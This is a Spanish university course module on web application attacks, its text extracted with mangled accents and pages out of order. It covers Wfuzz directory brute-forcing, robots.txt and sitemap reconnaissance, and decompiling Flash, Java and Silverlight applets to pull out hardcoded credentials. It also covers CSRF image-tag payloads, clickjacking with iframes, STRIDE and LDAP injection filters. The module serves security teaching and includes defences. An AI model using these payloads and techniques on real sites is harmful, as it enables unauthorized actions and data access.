En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 20: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

